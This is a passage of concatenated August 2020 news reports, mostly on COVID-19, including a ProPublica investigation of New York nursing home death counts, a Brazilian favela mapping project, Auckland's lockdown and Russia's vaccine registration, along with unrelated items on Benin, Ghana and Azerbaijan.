by the pandemic. Brazil is one of the countries most impacted by the pandemic, and its grave health and socio-economic impacts were felt more strongly by the residents of impoverished urban neighborhoods. The team has adapted its original methods to equip local leaders and citizens with the means to organize help for those who are most in need during lockdown. The data they are collecting is now about the need for food parcels, for safe waste disposal, for healthcare provision, as well as for the distribution of national social security credit that can keep households afloat and support the fragile local economy. The researchers utilize high-resolution satellite images of the region, working with community members to produce detailed maps of housing areas that are often invisible on official maps, and to mark the images with real-time data on where neighbors are in the greatest need of particular support. For example, specific points where waste accumulates, or where there are isolated people who need food. The detailed maps are supporting community-driven actions in response to the pandemic crisis, which so far have resulted into the distribution of over 1,700 food parcels to residents of partner neighborhoods near Rio de Janeiro/Brazil. The project is funded by UK Research and Innovation Global Challenges Research Fund and called URBE Latam. Morro do Preventorio and El Pacifico are known as "informal" settlements: its citizens do not have secure employment, and are often forgotten by national policies of social security and infrastructure planning. Residents were previously working in the informal economy, and thus had their livelihoods suddenly disrupted by the COVID-19 crisis and resulting social isolation measures. One of the principal aims of the research is to engage all members of these invisible and vulnerable neighborhoodsworking with them to devise new ways to unite their existing local knowledge with modern data and digital technology to protect each other and lessen the effects of poverty or disasters. It is hoped that this will make the partner communities not only more resilient against the effects of the COVID-19 pandemic and their related social inequalities, but also more visible to national policy-makers and governments. Indeed, the researchers plan to liaise with government and national bodies to share the citizen-led data, creating a sustainable link between central authorities and local citizens. Example of detailed map of the Morro do Preventorio district in Brazil. Credit: University of Warwick Professor Joao Porto de Albuquerque, lead researcher and Director of the Institute of Global Sustainable Development at the University of Warwick, commented: "The GCRF URBE Latam project was always about collaborating with local citizens who have little economic power but a wealth of local knowledge, developing tools so that they can use this knowledge to protect themselves against threats, and making sure that they are seen and heard by national government. COVID-19 revealed and worsened the harsh economic inequalities that already existed in these invisible communities that have developed in the fringes of an accelerated urbanization, and neglected for so long by policy-makers. Therefore, although we have had to quickly adapt our methods and goals in response to a fast-moving pandemic, the heart of the project remains the same. Through effective data collection, we can improve and even savelives in the short term; and by engaging citizens to work and learn together and continue to collect data, I believe that in the long term these communities will become more economically resilient." The project in Morro do Preventorio, a favela area near Rio de Janeiro, is based on a close collaboration with the existing "community bank" in the area, a social organization that delivers aid around the community, provides microcredit, and manages a local social currency (called Preve) that supports the economy in the region. The latter is vital, because many poorer citizens do not have any access to COVID-19 financial support packages from national government. The researchers have developed ways to collate and harness the data from local residents, and feed this all to the 'community bank," enabling local organizers to work more quickly and effectively in improving the lives of their neighbors. Marcos Rodrigo Ferreira, who is a volunteer coordinator of the Preventorio community bank and a researcher in the GCRC URBE Latam project commented: "I was born and raised in a favela community and know very well the importance of solidarity and collaboration. Our actions to improve resilience of the community in response to the pandemic greatly benefited from a dialog with URBE Latam project partners, by exchanging and learning together with our international partner universities and communities in Colombia and in the United Kingdom. This collaboration is enabling us to think of new ways to generate data that can support us to help the poorest and provide evidence for advocating improvements with policymakers." Professor Henrique Cukierman of the Federal University of Rio de Janeiro (UFRJ), who is the Brazilian lead of the project commented: "We established a 'Solidarity Committee' including 60 favela community leaders 100 volunteers from local universities, social organizations and NGOs. The committee was pivotal in the efforts for raising donations and creating a food distribution scheme which created a bridge between nearby small farmers and those who had hunger but could not afford to buy food. We are working and researching together so that this mobilization network can be sustained to improve community resilience in the long term." In Colombia, the El Pacifico neighborhood in Medellin has managed to establish community-driven actions to mitigate risks which arise from living on the peripheral slopes of the city and their geophysical hazards. Among the experiences carried out in order to mitigate these issues, the community has a historic of innovative community mobilization through a "community school for risk management," developed with local partners such as the university Colegio Mayor de Antioquia, and other social organizations. However, these practices never accounted for the possibility of a health crisis like the one brought about by the COVID-19 pandemic. Luis Alejandro Rivera, who is a member of the research team of URBE Latam, and has been working with the community of El Pacifico since 2017 commented: "El Pacifico continues to strengthen its strategic relations for more adequately carrying out both physical and socioeconomic risk management practices, generating measures to face the current pandemic, and improving the life conditions for its inhabitants. All of these aims are supported by URBE Latam, which is breaking ground in investigating new ways of understanding hazards, vulnerability and capabilities, and the way self-built communities in Latin America approach these matters in partnership with national and international academic and government entities." Explore further Follow the latest news on the coronavirus (COVID-19) outbreak Source: Xinhua| 2020-08-11 20:03:57|Editor: huaxia Video Player Close NUR-SULTAN, Aug. 2 (Xinhua) -- Kazakhstan registered 722 COVID-19 cases over the past 24 hours, taking its total to 100,164, including 1,269 deaths and 73,702 recoveries. From Aug. 1 to 11, Kazakhstan has also recorded 13,337 pneumonia cases with clinical signs of COVID-19, with 173 pneumonia-related deaths. Health Minister Alexei Tsoi said Tuesday that since the new nationwide lockdown was imposed on July 5, the country's COVID-19 reproduction rate has dropped from 1.15 to 0.82, while the incidence of coronavirus cases among the population has dropped from 56.73 to 36.2 per 100,000 people. Tsoi said as its epidemic situation improves, the country will consider slowly easing quarantine measures. Enditem This story was originally published by ProPublica. VALATIE The nurse with the Columbia County Health Department recorded the COVID-19 deaths at nearby hospitals two at Albany Medical Center on May 4, another at the same hospital two days later; one at Columbia Memorial Hospital on May 17, and another there two days later and, along with her boss, concluded there was a pattern. The people dying at the hospitals had been residents of a local nursing home, the Grand Rehabilitation and Nursing at Barnwell in the tiny town of Valatie. In all, the nurse counted 18 deaths of residents over five weeks. She didnt have detailed medical records for the patients, but she noted that all had arrived at the hospital with orders saying no extraordinary measures were to be taken to keep them alive. As a result, she and the Columbia County health director developed a theory: For me, said Jack Mabb, the health director, it appeared they were sending people to the hospital so they wouldnt die in the facility. A change in the way New York tabulated nursing home deaths could have incentivized such behavior, he said, making homes records on COVID-19 containment appear better than they were. In the early weeks of the pandemic, the state had counted these deaths by attributing them to the nursing home regardless of where they physically occurred. But in April as the death toll related to nursing homes mushroomed, hitting as many as 250 deaths a day that changed: The administration of Gov. Andrew Cuomo decided not to count residents who died of COVID-19 in hospitals as nursing home deaths, saying it feared that their deaths would be double-counted if they were recorded that way. The administration insisted the move wasnt meant to suppress the numbers at nursing homes, facilities Cuomo had reassured the public were his top priority for protecting from the pandemic. In public testimony this month, Howard Zucker, the states health commissioner, defended the decision and argued that New York had been as transparent about nursing home casualties as any state in the nation. Today, more than 6,500 nursing home residents are known to have perished in New York facilities, some 6% of the states nursing home population. The state declined to say how many additional residents died in hospitals after being sickened in nursing homes. Mabb said that his departments nurse had sent reports about the deaths of Barnwell residents at local hospitals to state authorities, and that he had asked for an investigation. Some of the residents died soon after arriving at the hospitals, Mabb said, while others took longer to pass away. But the fact that all 18 had do-not-resuscitate orders or similar directives suggested to him that they had been sent to the hospitals with little hope of ever returning to the home. The department, Mabb said, shared its documenting of the deaths with the state. There are very few legitimate reasons for a nursing home to send seriously ill residents with do-not-resuscitate orders to a hospital unless there is a real chance that their conditions could be improved, Mabb said. We flagged it for the state. We told the Department of Health we thought something big was going on. Mabb said the state Health Department, which regulates nursing homes, has yet to tell him if its investigating what happened to the Barnwell residents. Bruce Gendron, a vice president of the company that operates the Barnwell nursing home and 15 others, rejected Mabbs claims that the home had sought to dump dying residents at local hospitals. He said that residents only would have been sent if they needed care beyond what the home could provide, and that those residents deserved every chance to survive. Gendron said any scheme to inappropriately send residents to die elsewhere would have involved the homes medical director and several of its nurses, all of whom are licensed by the state and would have been putting their careers at risk. Twice in May, state Health Department investigators conducted complaint surveys at the Barnwell home after scores of staff members and residents at the home tested positive for COVID-19. The Department of Health website shows that inspectors found problems with the facilitys ability to contain the virus: Uninfected residents were living alongside infected residents; residents suspected of having COVID-19 also were not separated. Some Barnwell staffers told the Health Department that they were confused about when they were supposed to wear masks and gloves or change out of old equipment and under what circumstances. The inspectors cited the facility and ordered a halt to additional admissions. Dozens of residents were eventually relocated. Gendron first told ProPublica that the allegations of dumping dying residents at hospitals had been investigated by the state Health Department and found to be unsubstantiated. Asked to produce such a finding, Gendron referred to the inspections done in May, saying the absence of any findings related to hospital transfers proved the home had been cleared. Barnwells quality of care related to COVID-19 had become a public controversy in May, prompting coverage in the local media, and Gendron said he assumed the state would have been alert to any other problems at the home, including signs of dumping residents. The states inspection reports make no mention of investigating hospital transfers. The Health Department did not respond to questions from ProPublica about whether it had investigated Mabbs allegations. ProPublica shared Gendrons version of events with the state, but again, the Health Department did not respond. Jill Montag, a department spokeswoman, appeared to be unaware of the allegations involving the homes dying residents, asking ProPublica to send along a record of them. There is little doubt that Barnwell, a 236-bed facility in the Hudson Valley, was overwhelmed by the virus this spring. From March 30 through the first week of June, according to county statistics, scores of staff members and residents tested positive for the virus. But trying to unpack what exactly unfolded at Barnwell lays bare the confusing and often conflicting available information about COVID-19s deadly path through the states elderly population. The county Health Department is responsible for identifying cases of COVID-19, and nursing homes are obligated to report such cases to it. But nursing homes are regulated by the state, and the county has a limited ability to make sure such facilities are responsibly reporting and managing outbreaks. Mabb said he had only received notifications from the Barnwell home on two deaths inside the facility. The state Health Department says online that the death toll from the home is 12. Mabb said he thought the first infection at Barnwell had involved a staff member; the state has said the first case of COVID-19 at the facility involved a resident, but it cant say with certainty what role if any the resident played in the eventual outbreak. Mabb said he has ultimately come to mistrust any information coming from either the state or officials with Barnwell. He said he counts the 18 deaths of Barnwell residents at the hospitals as nursing home deaths. ProPublica contacted the three hospitals where Barnwell residents died, but none would talk about the deaths or the countys allegation that residents had been sent to them to avoid being recorded as nursing home fatalities. As Gendron pointed out, decisions to send nursing home residents to the hospital for additional care are supposed to be approved by a homes medical director. He would not provide copies of such approvals involving the 18 residents who later died at hospitals, however, saying he didnt have the staff to do such work, and noted that some of the residents had been taken to the hospital after 911 calls, when a medical directors approval would not have been required. Sorting out the events at Barnwell, it turns out, also involves another disputed state policy: the order from the Health Department that nursing homes accept medically stable COVID-19 patients being discharged from hospitals. The policy also barred patients from being tested to see if they were still positive for the virus. The policy, enacted March 25, alarmed and angered many nursing home operators, families of residents, elected officials worried about an already vulnerable population being subjected to additional possible harm. The state, after a blizzard of criticism, abandoned the order some seven weeks after implementing it. Last month, the Health Department issued a report asserting that the policy had not significantly contributed to deaths of nursing home residents. The report was met with open skepticism among nursing home personnel, epidemiologists, and Republican and Democratic officials in New York and Washington. Those lawmakers repeated their calls for a truly independent investigation of the states handling of the COVID-19 crisis at its more than 600 nursing homes. In the Health Departments report, which said more than 6,400 COVID-19 patients had been sent from hospitals to nursing homes under the policy, the state said the vast majority of the roughly 310 homes that accepted those patients had already had a case of COVID-19 among their staff members or residents. The report said the spread of the virus in the homes had been driven by infected staff members. But the report made clear that dozens of homes had experienced no cases of COVID-19 before receiving a coronavirus patient from a nearby hospital. ProPublica asked the state to produce the data involving 58 homes that had not been affected prior to taking in a COVID-19 patient. Days later, the state Health Department said the data in its report had been inaccurate. And several days after that, the department said updated information indicated that just six homes, not 58, had been free of COVID-19 prior to the arrival of a patient from a hospital. The department would not answer an array of questions about how and why it had changed the data in its report, one it had used to defend its controversial policy. It would not say how what it had called a peer-reviewed study had relied on erroneous or incomplete data; it would not say how the new information had come to light. It did say, though, that the Barnwell home was one of the facilities that did not have a case of COVID-19 among its staff or residents prior to the first arrival of a COVID-19 patient from a hospital. The state, however, would not say when that transfer occurred or if it had studied what role, if any, it had played in the eventual outbreak that overran the facility. The county recorded Barnwells first COVID-19 case on March 30, two weeks before the surge in cases among both staff and residents. Ron Kim, a Democratic state legislator from Queens, said he has no faith that the state has been honest about what happened as a result of its policy. Kim, a member of the State Assemblys Health Committee, said he had taken an intense interest in the states efforts to protect nursing home residents. One ZIP code in his Queens district had more nursing home deaths than any other in the state, he said. One of those deaths was a member of his family. Kim said he had filed Freedom of Information requests seeking all administration communications about nursing homes during the pandemic. The theme of the report was to shift the blame and scapegoat the workers and the families over the decision that the executive office had made, Kim said of the Health Department report made public last month. Its clear that the executive office is directing and ordering up the report and data collection in a way that will give them what they want out of the report. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. They are trying their best to use government resources and the Department of Health to exonerate the executive office of any wrongdoing, Kim added. Kim said given the states lack of transparency, it was impossible to say whether whats alleged to have happened at the Barnwell facility may have been more widespread. Kim and other lawmakers have said they know of no other state that counts nursing home deaths the way New York currently does. Informed of Kims specific claims, the state Health Department referred ProPublica to public statements made by Zucker, the departments commissioner. On Aug. 3, Zucker testified before a joint hearing held by state legislators. He was grilled repeatedly about the states seeming inability or unwillingness to answer basic questions about how many nursing home residents might have died to date in the pandemic. The policy of not counting deaths in hospitals was revisited again and again. Addressing Zucker in one exchange, state Senate Investigations Committee Chair James Skoufis, a Democrat from the Hudson Valley where Barnwell is located, said: Its my opinion that your administrations definition truly misrepresents the scale of this crisis as a result. So lets try and get the full picture here and now: How many of New Yorks nursing home residents died in hospitals? Zucker insisted the state couldnt say because it didnt yet have a fully accurate count. You dont have a ballpark that you can give? So the total official number is about 6,500. Are we talking with the hospital deaths: 8,000? 10,000? 15,000? What are we looking at? Skoufis countered. Im not prepared to give you a specific number. We are in the middle of a pandemic obviously, we always forget about that sometimes, Zucker said. We are looking at all the numbers, we are looking at the data, when the data comes in and I have an opportunity to piece through that, then I will be happy to provide that data to you and to the other members of the committee. State Senate Health Committee Chairman Gustavo Rivera, a Democrat from the Bronx, suggested a final count wasnt needed to see what the administration was doing. It seems, sir, that in this case you are choosing to define it differently so you can look better, he said. That is a problem, bro. ProPublica asked the state Health Department if it had ever excluded fatalities of residents transferred to hospitals in counting deaths of nursing homes residents during outbreaks of the flu or other infectious diseases. The state did not directly respond but said in a statement, This is a global pandemic, the likes of which we have never seen before. There is no precedent. Elaine Healy, acting president of the New York Medical Directors Association, said it shouldnt be hard for the state to have an accurate count of how many nursing home residents died of COVID-19 in hospitals. Theyd counted these deaths in the nursing home totals early on, she said, and the numbers would be quite easy to get from the hospitals. The outbreak at Barnwell was one of two involving local nursing homes in Columbia County. When the outbreak at Barnwell became public in early May, Patsy Leader, the town supervisor in nearby Kinderhook, called for the state to intervene, accusing Barnwell of trying to cover up the dumping of dying residents. Leader repeated the allegation in a brief interview with ProPublica. Gendron, the Barnwell executive, eventually traveled to Barnwell to personally handle the crisis. In a series of interviews and exchanges with ProPublica, Gendron said he was not aware of the states claim that Barnwells first case of COVID-19 involved a hospital transfer. He said the company had been alarmed by the Cuomo administrations policy requiring nursing homes to accept COVID-19 patients being discharged from hospitals. The chance that such patients could trigger or worsen an outbreak in nursing facilities was real, he said. We were very concerned, Gendron said. Its a very contagious virus. And nursing homes provide very hands on care. The challenge, he said, was only worsened by the fact that the states policy prohibited homes from testing arriving hospital transfers to see if they were still positive and thus possibly contagious. Gendron said he was not even sure if the hospitals were obligated to notify the home that the arriving patient had been treated for COVID-19. One would think they should have disclosed that, Gendron said. We always believed the best practice was to isolate any COVID residents. But we didnt even know who was or wasnt. It had been the poster child for how to deal with Coronavirus but a New Zealand city is back in lockdown after recording fresh cases of the virus, the first in 102 days. Prime Minister Jacinda Ardern said that four people from one family in South Auckland were found to have contracted Covid-19 in whats been deemed a case of community transmission. Stay-at-home orders will be implemented throughout the city from midday tomorrow while the rest of the nation will enter a level two lockdown after news of the new cases emerged. Read More Prime Minister Jacinda Ardern scheduled a last-minute press conference for about 9.15pm on Tuesday night as word spread of the lockdown. She expressed her concern about the origin of the virus, given the family have no links to overseas travellers or managed hotel isolation. Auckland has been placed into level three restrictions, the most severe, while the rest of the nation is in level two lockdown. Local residents are being told by Ms Ardern to "stay home to stop the spread" of the disease and to "act as if you have Covid, and as if the people around you have Covid". An Auckland man in his 50s tested positive to coronavirus twice this morning. This was up to five days after he first developed symptoms, sparking fears that he could have spread the virus throughout his community while he was asymptomatic. The mans partner has also tested positive and a pre-school child is among the four new cases. 'We have not yet been able to determine the source of these cases, there is no known link to hotel quarantine, said Ms Ardern. One of the most important lessons we have learned from overseas is to go hard at this... In line with our precautionary approach, we will be asking Aucklanders to take swift lockdown. She said that authorities are 'expecting to see more cases' linked to the cluster. Those living in Auckland are being urged to work from home, while schools and nurseries will close to pupils apart from the children of essential workers. Bars and restaurants are also being told to close. Travel in and out of Auckland will be restricted to those returning home to the city, or those leaving who live elsewhere. We've had 102 days, and it was very easy to feel like New Zealand was out of the woods,' Ms Ardern added. No country has gone as far as we did to not have a resurgence. But because we were the only ones, we knew we had to have a plan. My request is to not be dispirited or disheartened... This is something we have prepared for. Travelers with a COVID-19 negative test report within seven days will be allowed to enter the Chinese mainland from Macao without a 14-day quarantine since Wednesday, the secretary for social affairs and culture of China's Macao Special Administrative Region (SAR) said on Monday. Secretary for Social Affairs and Culture Ao Ieong U told the press conference that the SAR government was informed by the Hong Kong and Macao Affairs Office of the State Council about the new entry policy from Macao to the mainland. The new policy stipulated that those travelers, holding the mainland travel permit for Hong Kong and Macao residents, Chinese passport or other travel documents issued by China, should not visit other countries and regions outside the Chinese mainland, including the Hong Kong SAR and China's Taiwan region, 14 days prior to arrival in the mainland. The new policy does not include the confirmed COVID-19 patients, suspected COVID-19 patients, their close contacts and people with fever and respiratory symptoms. Ao added that Macao has reported no local COVID-19 cases for more than 130 days nor any imported cases for 45 consecutive days. The epidemic risk in Macao was defined as low and the Macao society has returned to normalcy. Raystown Lake is the largest lake in Pennsylvania, which makes it a great place to visit whether its spring, summer or fall. The area around it has spectacular views, enchanting forests and plenty of outdoor amusements just waiting to explore. Here are seven great Airbnbs around Raystown Lake. Marys Place Q. I am retired, live in New Jersey and receive Social Security payments; I also have a rental property. I had a rental loss carryforward from 2017, but I failed to capture it in 2018. Can I still claim it? Landlord A. Were sorry to hear you didnt claim it in 2018. The New Jersey rental loss carryover from 2017 is a valuable deduction called the Alternative Business Calculation Adjustment (ABCA), said Gail Rosen, a Martinsville-based certified public accountant. She said this rental loss will allow you to net future gains from the same category with 50% of these losses from the past. You must amend your New Jersey 2018 tax return and adjust for the activity in 2018, she said. The amendment will then carry forward the correct amount to your New Jersey 2019 tax return. Email your questions to Ask@NJMoneyHelp.com. Karin Price Mueller writes the Bamboozled column for NJ Advance Media and is the founder of NJMoneyHelp.com. Follow NJMoneyHelp on Twitter @NJMoneyHelp. Find NJMoneyHelp on Facebook. Sign up for NJMoneyHelp.coms weekly e-newsletter. A new Chinese report found a few batches of frozen seafood products that were positive with Coronavirus. All the locals that bought the batches were now under quarantine, to know their status. So far, no reports of additional cases were resulted from eating the cold seafood. However, outside Chinese countries, must be alarmed after the country confirms that there were 'small quantity' from those batches that were exported. Could COVID-19 live in frozen seafood? Experts found SARS-CoV-2 strains-- the virus that leads to Coronavirus-- in frozen batches of seafood products in the eastern Chinese port city of Yantai, as reported via South China Morning Post. Due to the recurrence of COVID-19 cases in the country, the Chinese officials made an intense monitoring of all frozen food processed products. The frozen seafood products reportedly came from one batch of a foreign vessel that entered the country via Dalian port. Dalian port had been in close monitoring of Chinese health experts. It was since citizens around this area were reportedly contaminated with COVID-19 due to the high degree of SARS-CoV-2 strains found in chilled products. It was suspected that the virus in Yantai was got from other contaminated seafood products in Dalian. Experts usually use fluorescent powder to know which product was contaminated by the virus or not. It turns out, the strains from Dalian infected seafood products were positively similar to the Yantai products. The frozen seafood product was not specifically identified. All the customers that bought them were asked to self-quarantine inside their homes. So far, no reports are saying there are positive human cases due to eating the products. However, here's the warning. SCMP revealed that the Chinese authorities also confirmed that there were 'small quantities' from the contaminated batches exported from China. So far, the United States government has not yet released any statements regarding this possible issue. But, it was concluded by the country's health expert that food packaging contamination "is thought to be very low." It was also supported by Professor Jin Dong-yan, a molecular virologist at the University of Hong Kong. "After long-distance shipping, the activity of the virus will just go down and will not go up," Jin said. "Shrimp and fish cannot support the growth of the virus. The virus cannot grow, replicate, or multiply in those foods or packages, it will just stay there and die out." Frozen salmon products found with virus strains In June, Tech Times already reported about the cases of possible COVID-19 contamination in seafood products, specifically salmon. At the time, the Chinese government decided to stop all exports of salmon to other countries, as the positive cases from those products were reported. However, the World Health Organization (WHO) did not support this claim. "I think we need to look at what has happened in this case, I don't believe it is the primary hypothesis. But it needs to be explored," said WHO in the interview. This article is owned by Tech Times Written by Jamie Pancho 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. As Western cities see statues of slaveholders and colonialists toppled, Benin's coastal town of Ouidah is going the other way, restoring monuments to the painful era of the slave trade. During the 17th and 18th centuries, European slavers held more than one million African men, women and children in Ouidah's Portuguese Fort before shipping them across the Atlantic in abominable conditions. Ouidah, about 40 kilometres (25 miles) from Benin's economic hub of Cotonou, was one of the main slave staging posts to the Americas, according to research at Yale University. It ranked alongside "slave coast" ports in modern-day Ghana and the swathe of Central Africa that today encompasses Angola, the Republic of Congo and the Democratic Republic of Congo. In Benin, coveted for slave trade by Portugal, Britain and France, villagers were captured in surprise raids orchestrated by powerful local chiefs. The renovation of the Ouidah fort and the history museum inside is part of Benin's drive to ensure that future generations of Africans know their ancestors' suffering. "When I see these chains that hobbled our ancestors, I feel sick," Benoit Daounde told AFP as he studied a number of artefacts moved to a temporary exhibition. 'Slavery must be taught' "But it's our history. We must accept it and tell it to future generations," said Daounde, a UN official who returned to Benin on holiday from his posting in Cameroon. "Our children know nothing of all that. Slavery must be taught in school and more than in just a few lessons," Daounde said. He is one of a stream of other Beninese, Ouidah residents and historians who have visited the temporary exhibition since it opened on August 3. Meanwhile dozens of labourers at the fort work from morning until night to have the refurbished museum opened before the year ends. Under protective glass in the main hall, visitors can inspect crusty old maps used by Portuguese mariners, along with guns used in the trade. Story continues Visitors can also see portable altars used in ceremonies by the long line of kings of former Dahomey, founded around 1600 and crushed by French colonialists in 1894. The museum houses a church bell brought by Roman Catholic missionaries, together with a sinister selection of chains and other implements used to bind slaves. Ulrich Lantonkpode, a jurist who grew up in Ouidah before moving to the capital Cotonou, said that before the exhibition he "lacked elements and information about the culture and history of (his) family". "I appreciate this exhibition as much as the idea to rebuild the Portuguese Fort, enabling us to safeguard this history," he added. Voodoo heritage With its Afro-Brazilian architecture and beaches bordered by coconut palms as far as the eye can see, a town that played a major part in transatlantic slavery has become a development project launched in 2016 by President Patrice Talon. In a bid to promote tourism Benin is presenting an image of itself as a place of "cultural exception", said Minister of Tourism Jean-Michel Abimbola, who stressed that the government has allocated a budget of one billion euros ($1.17 billion) toward that goal. Authorities are renovating the Pendjari National Park in the far north to attract safari hunters, and building several museums of voodoo, an ancestral religion that originated in the Kingdom of Dahomey. Benin has asked France to return objects looted in colonial conflicts. But the spread of jihadist activity in West Africa has slowed tourism from Europe in the past few years. The COVID-19 pandemic has worsened the prospects, compelling Beninese authorities to promote strictly regional tourism. "In Ouidah, we are aiming at the Nigerian market as a priority," said Wenceslas Adjognon-Monnon, development manager with the national heritage and tourism agency. Nigeria's economic capital Lagos is only about 100 kilometres (60 miles) from Ouidah and the vast nation of some 200 million people shares little of Benin's history of slavery and colonisation. 'We need tough action' "We need tough action, way beyond the movements to reclaim black causes," argued Eric Accrombessi, a tourist guide born in Ouidah. "The renovation of these places will better illustrate the course of history to pass on to future generations." The authorities are also building an International Museum of Memory and Slavery, with a tourist complex of 130 rooms and places of reflection, and a reconstruction of a slave ship. Historian Sarah Pruitt stressed that while exact numbers will never be known, some 12.5 million Africans were forced on to the ships between the 17th and 19th centuries. Of these, some 10.6 million survived the crossing. str-spb/lzf/nb/erc/ri JEFFERSON CITY Missouri officials offered little clarity Monday on how, when or if the state would implement President Donald Trumps executive order to pay extra unemployment benefits to millions of jobless Americans, including around 200,000 Missourians. I think its a little premature to say exactly how thats going to take place until we talk to the federal delegation and really see, long term, what that plan is on that, said Gov. Mike Parson. His team spent the day assessing options, he said, adding that were going to try to make sure that we implement it and get as much of it as we can. Trumps order, announced Saturday, said governors could request lost wages assistance from the U.S. to use federal money to begin paying an extra $400 in unemployment insurance per person the White Houses replacement for Congress $600 supplement that expired two weeks ago. But the order appeared to come with a caveat: States would have to cover a quarter of the supplement, or $100 per person per week. Source: Xinhua| 2020-08-11 20:00:10|Editor: huaxia Video Player Close Photo provided by Russian Direct Investment Fund (RDIF) shows a researcher working in a laboratory of the Gamaleya Scientific Research Institute of Epidemiology and Microbiology in Moscow, Russia, Aug. 6, 2020. Russia has registered the world's first vaccine against the novel coronavirus, Russian President Vladimir Putin said Tuesday. (RDIF/Handout via Xinhua MOSCOW, Aug. 11 (Xinhua) -- Russia has registered the world's first vaccine against the novel coronavirus, Russian President Vladimir Putin said Tuesday. "As far as I know, this morning, for the first time in the world, a vaccine against the new coronavirus infection has been registered," Putin said during an online meeting with the Russian government. Russian Health Minister Mikhail Murashko confirmed at the meeting that the vaccine issued in Russia is the first in the world, while other countries are conducting clinical studies of vaccines under development. Murashko said that the new vaccine, after passing all necessary checks, showed that it forms a stable immunity. Putin said he hoped that the mass production of the vaccine registered in Russia should begin in the near future, and vaccination will be available to everyone in the country voluntarily. "The main thing, of course, is that in the future we can ensure the unconditional safety of this vaccine and its effectiveness," Putin said, congratulating everyone who worked on the drug. Russian Deputy Prime Minister Tatyana Golikova said at the meeting that she expected the production of the vaccine to start at the end of August or the beginning of September and health workers will be the first to be vaccinated. Putin said one of his daughters had been vaccinated against the coronavirus was feeling well afterward. Enditem The police in the Bono Region have arrested seven more people suspected to have links with last Saturday's clash between some supporters of the New Patriotic Party (NPP) and the National Democratic Congress (NDC) at Nkrankwanta that resulted in the death of one person and injuries to two people. The seven were arrested on Monday, August 10, 2020. The incident happened at Nkrankwanta in the Dormaa West District following a disagreement between the two groups. 3 earlier arrests Graphic Online's correspondent in the Bono Region, Emmanuel Adu-Gyamerah reported that three persons were earlier arrested to assist in investigations that led to the clash between supporters of the NPP and the NDC last Saturday at Nkrankwanta in the Dormaa West District. The suspects, who are in the custody of Police Divisional Headquarters at Dormaa-Ahenkro to assist in investigation into the matter have been identified as Ali Musah, 33, Ibrahim Acquah, 33 and Amos Aning, 38. One person died in the clash while two other persons were injured. The deceased, Kofi Larbeth, 36, was pronounced dead at the Dormaa-Ahenkro Presbyterian Hospital, while the two injured persons, Kwame Gutan, 33 and Gabriel Elliasu, 45, are responding to treatment at the Dormaa West District District Hospital at Nkrankwanta. Police briefing The police said the incident happened at about 500 metres away from the EC's district office. The Bono Regional Police Public Relations Officer, Chief Inspector Augustine Kingsley Oppong told the Daily Graphic in an interview yesterday that the three sustained gunshots and machete wounds during the clash which occurred at about 5.35 pm. According to him, a Mitsubishi pick up vehicle and a motorbike were set ablaze while a Toyota Tundra vehicle was also damaged. Chief Inspector Oppong said calm had returned to the area. Source: graphiconline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video By Laman Ismayilova Azerbaijani products under "Made in Azerbaijan" brand have been presented at the 4th China High-End Wine and Spirits Expo 2020. The event became the first international exhibition of Azerbaijani products held in China this year. "Made in Azerbaijan" brand delighted the guests with mouthwatering Azerbaijani pomegranate wines, alcoholic drinks and pomegranate juices. The local visitors showed great interest in Azerbaijani products. Moreover, preliminary agreements with more than 30 local wholesalers to sell these products in different regions of China were reached as a result, Azertag reported. The event was held in the Chinese port city of Qingdao under the slogan "The Strength of the brand". More than 200 local and foreign companies displayed about 6,000 types of beverages as part of the expo. The fact that it has become the first alcoholic beverage exhibition in China held in 2020 with participation of the world's leading wine producers such as France, Spain, New Zealand and Chile attracted more about 35,000 visitors. Notably, President Ilham Aliyev signed the Decree on large-scale promotion of local non-oil products in foreign markets as "Made in Azerbaijan" in 2016. This documents contains 10 different support mechanisms to stimulate exports and promote "Made in Azerbaijan" abroad. Over the past years, "Made in Azerbaijan" brand has been successfully represented at large-scale international events in China, Poland, Dubai, Germany, Russia and so on. --- Follow us on Twitter @AzerNewsAz The All People's Congress Founder, Hassan Ayariga, says it is imperative that whichever party wins the 2020 election roll out a free tertiary education policy. Speaking to Citi News, he said the country needed to build on the gains of the Free Secondary Education policy started by the Akufo-Addo administration. The next government, whether APC or whichever government should continue with free tertiary education, he stressed. Though political parties are yet to release their manifestoes, there is no indication that it is on any agenda outside the APCs. But Mr. Ayariga says it would be a calamity if tertiary education was not made free. If we start free education in the Senior High Schools and we stop there, it is going to be disastrous if they don't get tertiary education to continue. If you get free SHS and you come to tertiary but you don't have the money to pay, you go back home and sit down. It is the same thing, he explained. As far as executing the promise is concerned, he said his party would have no difficulty fulfilling this promise if it won power. The APC founder argued that the current government could, for example, make savings by cutting down the size of its government, the number of official vehicles used as well as cutting down losses from corruption. We have enough resources to pay for free tertiary education. We have natural resources, we have taxesIf we cut down on corruption, we will have enough money to do free tertiary education and many other things, Mr. Ayariga said. ---citinewsroom More than 40 members of the same family have tested positive for COVID-19 after a relative who knew she had the virus traveled in from another state to attend a funeral in Kentucky. Polly Williams, of Kermit, West Virginia, says she was desperately saddened to learn of the death of her cousin on June 30, but the scenes that have transpired in the weeks since her funeral have been nothing short of her worst nightmare. Williams and a dozen or so other members of her family came together on July 2 in nearby Dunlow to mourn the loss of Keenetha Brige. One of the attendees, Williams learned, would be travelling in from Arizona to be with the family and assist them with funeral arrangements. What she wasnt told, however, was that the attendees husband and son who didnt make the trip had tested positive for coronavirus days before she arrived and she too was exhibiting symptoms. My relative from out-of-state wasnt feeling well, but I didnt think a lot about it, Williams told the Mountain Citizen, declining to identify the relative by name. I figured she was tired from her flight and lack of sleep. She never said one word about fearing her illness was something serious. Polly Williams, of Kermit, West Virginia, says she was desperately saddened to learn of the death of her cousin on June 30, but the scenes that have transpired in the weeks since her funeral have been nothing short of her worst nightmare Williams (left) and a dozen or so other members of her family came together on July 2 in nearby Dunlow to mourn the loss of Keenetha Brige (right) Unaware of the seriousness of her relatives condition, Williams said none of her family members wore masks either before the funeral, during the service, or at the wake. Gradually, over the next few days, Williams said her relatives condition slowly began to worsen. She supposedly had to seek medical attention, however failed to inform her family about it. During that time, Williams mother, Melvina Case, went to the home of the grieving family where the infected relative was staying to drop off supplies, staying for a short time. Williams and her sister, Stella Brewer, also made a supplies run to the home, staying for five hours afterwards. Numerous other 